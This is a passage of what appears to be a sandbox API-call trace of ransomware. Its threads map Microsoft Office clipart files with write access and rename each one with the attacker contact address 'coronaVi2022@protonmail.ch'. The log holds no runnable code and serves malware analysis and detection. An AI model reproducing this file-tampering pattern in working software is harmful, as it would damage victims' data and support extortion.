	[0093.382] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.382] CloseHandle (hObject=0xa18) returned 1
	[0093.382] GetCurrentThreadId () returned 0x17f0
	[0093.382] FlushFileBuffers (hFile=0xa14) returned 1
	[0093.386] CloseHandle (hObject=0xa14) returned 1
	[0093.386] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif") returned 184
	[0093.386] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00040_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00040_.gif")) returned 1
	[0093.387] free (_Block=0x51f3088) 
	[0093.387] RtlExitUserThread (Status=0x0) 

Thread:
	id = 473
	os_tid = 0x17f4

	[0093.389] _alloca_probe () returned 0x40328a
	[0093.389] GetCurrentThreadId () returned 0x17f4
	[0093.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", dwFileAttributes=0x80) returned 1
	[0093.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00052_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa18
	[0093.390] GetFileSizeEx (in: hFile=0xa18, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7705) returned 1
	[0093.390] CreateFileMappingA (hFile=0xa18, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e21, lpName=0x0) returned 0xa1c
	[0093.390] MapViewOfFile (hFileMappingObject=0xa1c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.392] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.392] CloseHandle (hObject=0xa1c) returned 1
	[0093.392] GetCurrentThreadId () returned 0x17f4
	[0093.392] FlushFileBuffers (hFile=0xa18) returned 1
	[0093.394] CloseHandle (hObject=0xa18) returned 1
	[0093.395] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif") returned 184
	[0093.395] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00052_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00052_.gif")) returned 1
	[0093.395] free (_Block=0x51f60a0) 
	[0093.395] RtlExitUserThread (Status=0x0) 

Thread:
	id = 474
	os_tid = 0x17f8

	[0093.397] _alloca_probe () returned 0x40328a
	[0093.398] GetCurrentThreadId () returned 0x17f8
	[0093.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", dwFileAttributes=0x80) returned 1
	[0093.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00057_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa1c
	[0093.398] GetFileSizeEx (in: hFile=0xa1c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=11905) returned 1
	[0093.398] CreateFileMappingA (hFile=0xa1c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e81, lpName=0x0) returned 0xa20
	[0093.398] MapViewOfFile (hFileMappingObject=0xa20, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.401] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.401] CloseHandle (hObject=0xa20) returned 1
	[0093.401] GetCurrentThreadId () returned 0x17f8
	[0093.401] FlushFileBuffers (hFile=0xa1c) returned 1
	[0093.403] CloseHandle (hObject=0xa1c) returned 1
	[0093.403] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif") returned 184
	[0093.403] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00057_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00057_.gif")) returned 1
	[0093.404] free (_Block=0x51f3088) 
	[0093.404] RtlExitUserThread (Status=0x0) 

Thread:
	id = 475
	os_tid = 0x123c

	[0093.449] _alloca_probe () returned 0x40328a
	[0093.450] GetCurrentThreadId () returned 0x123c
	[0093.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", dwFileAttributes=0x80) returned 1
	[0093.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00090_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa20
	[0093.450] GetFileSizeEx (in: hFile=0xa20, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=529) returned 1
	[0093.451] CreateFileMappingA (hFile=0xa20, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x211, lpName=0x0) returned 0xa24
	[0093.451] MapViewOfFile (hFileMappingObject=0xa24, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.451] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.451] CloseHandle (hObject=0xa24) returned 1
	[0093.451] GetCurrentThreadId () returned 0x123c
	[0093.451] FlushFileBuffers (hFile=0xa20) returned 1
	[0093.454] CloseHandle (hObject=0xa20) returned 1
	[0093.454] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif") returned 184
	[0093.454] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00090_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00090_.gif")) returned 1
	[0093.455] free (_Block=0x51f60a0) 
	[0093.455] RtlExitUserThread (Status=0x0) 

Thread:
	id = 476
	os_tid = 0x1238

	[0093.464] _alloca_probe () returned 0x40328a
	[0093.464] GetCurrentThreadId () returned 0x1238
	[0093.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", dwFileAttributes=0x80) returned 1
	[0093.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00092_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa24
	[0093.465] GetFileSizeEx (in: hFile=0xa24, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=521) returned 1
	[0093.465] CreateFileMappingA (hFile=0xa24, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x211, lpName=0x0) returned 0xa28
	[0093.465] MapViewOfFile (hFileMappingObject=0xa28, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.465] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.466] CloseHandle (hObject=0xa28) returned 1
	[0093.466] GetCurrentThreadId () returned 0x1238
	[0093.466] FlushFileBuffers (hFile=0xa24) returned 1
	[0093.467] CloseHandle (hObject=0xa24) returned 1
	[0093.467] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif") returned 184
	[0093.468] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00092_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00092_.gif")) returned 1
	[0093.468] free (_Block=0x51f5098) 
	[0093.468] RtlExitUserThread (Status=0x0) 

Thread:
	id = 477
	os_tid = 0x13c8

	[0093.470] _alloca_probe () returned 0x40328a
	[0093.471] GetCurrentThreadId () returned 0x13c8
	[0093.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", dwFileAttributes=0x80) returned 1
	[0093.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00103_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa28
	[0093.471] GetFileSizeEx (in: hFile=0xa28, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=12729) returned 1
	[0093.471] CreateFileMappingA (hFile=0xa28, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31c1, lpName=0x0) returned 0xa2c
	[0093.471] MapViewOfFile (hFileMappingObject=0xa2c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.474] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.474] CloseHandle (hObject=0xa2c) returned 1
	[0093.474] GetCurrentThreadId () returned 0x13c8
	[0093.474] FlushFileBuffers (hFile=0xa28) returned 1
	[0093.479] CloseHandle (hObject=0xa28) returned 1
	[0093.479] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif") returned 184
	[0093.479] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00103_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00103_.gif")) returned 1
	[0093.480] free (_Block=0x51f4090) 
	[0093.480] RtlExitUserThread (Status=0x0) 

Thread:
	id = 478
	os_tid = 0x1348

	[0093.482] _alloca_probe () returned 0x40328a
	[0093.483] GetCurrentThreadId () returned 0x1348
	[0093.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", dwFileAttributes=0x80) returned 1
	[0093.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00120_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa2c
	[0093.483] GetFileSizeEx (in: hFile=0xa2c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3513) returned 1
	[0093.483] CreateFileMappingA (hFile=0xa2c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdc1, lpName=0x0) returned 0xa30
	[0093.483] MapViewOfFile (hFileMappingObject=0xa30, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.485] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.485] CloseHandle (hObject=0xa30) returned 1
	[0093.485] GetCurrentThreadId () returned 0x1348
	[0093.485] FlushFileBuffers (hFile=0xa2c) returned 1
	[0093.487] CloseHandle (hObject=0xa2c) returned 1
	[0093.487] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif") returned 184
	[0093.487] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00120_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00120_.gif")) returned 1
	[0093.488] free (_Block=0x51f0070) 
	[0093.488] RtlExitUserThread (Status=0x0) 

Thread:
	id = 479
	os_tid = 0x790

	[0093.490] _alloca_probe () returned 0x40328a
	[0093.490] GetCurrentThreadId () returned 0x790
	[0093.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", dwFileAttributes=0x80) returned 1
	[0093.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00126_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa30
	[0093.491] GetFileSizeEx (in: hFile=0xa30, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3161) returned 1
	[0093.491] CreateFileMappingA (hFile=0xa30, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc61, lpName=0x0) returned 0xa34
	[0093.491] MapViewOfFile (hFileMappingObject=0xa34, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.492] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.492] CloseHandle (hObject=0xa34) returned 1
	[0093.492] GetCurrentThreadId () returned 0x790
	[0093.492] FlushFileBuffers (hFile=0xa30) returned 1
	[0093.494] CloseHandle (hObject=0xa30) returned 1
	[0093.494] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif") returned 184
	[0093.494] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00126_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00126_.gif")) returned 1
	[0093.495] free (_Block=0x51f1078) 
	[0093.495] RtlExitUserThread (Status=0x0) 

Thread:
	id = 480
	os_tid = 0x127c

	[0093.496] _alloca_probe () returned 0x40328a
	[0093.497] GetCurrentThreadId () returned 0x127c
	[0093.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", dwFileAttributes=0x80) returned 1
	[0093.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00129_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa34
	[0093.497] GetFileSizeEx (in: hFile=0xa34, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=12489) returned 1
	[0093.497] CreateFileMappingA (hFile=0xa34, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30d1, lpName=0x0) returned 0xa38
	[0093.497] MapViewOfFile (hFileMappingObject=0xa38, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.500] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.500] CloseHandle (hObject=0xa38) returned 1
	[0093.500] GetCurrentThreadId () returned 0x127c
	[0093.500] FlushFileBuffers (hFile=0xa34) returned 1
	[0093.502] CloseHandle (hObject=0xa34) returned 1
	[0093.503] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif") returned 184
	[0093.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00129_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00129_.gif")) returned 1
	[0093.503] free (_Block=0x51f0070) 
	[0093.504] RtlExitUserThread (Status=0x0) 

Thread:
	id = 481
	os_tid = 0xe34

	[0093.509] _alloca_probe () returned 0x40328a
	[0093.510] GetCurrentThreadId () returned 0xe34
	[0093.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", dwFileAttributes=0x80) returned 1
	[0093.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00130_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa38
	[0093.510] GetFileSizeEx (in: hFile=0xa38, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5265) returned 1
	[0093.510] CreateFileMappingA (hFile=0xa38, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1491, lpName=0x0) returned 0xa3c
	[0093.510] MapViewOfFile (hFileMappingObject=0xa3c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.512] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.512] CloseHandle (hObject=0xa3c) returned 1
	[0093.512] GetCurrentThreadId () returned 0xe34
	[0093.512] FlushFileBuffers (hFile=0xa38) returned 1
	[0093.514] CloseHandle (hObject=0xa38) returned 1
	[0093.514] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif") returned 184
	[0093.514] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00130_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00130_.gif")) returned 1
	[0093.515] free (_Block=0x51f3088) 
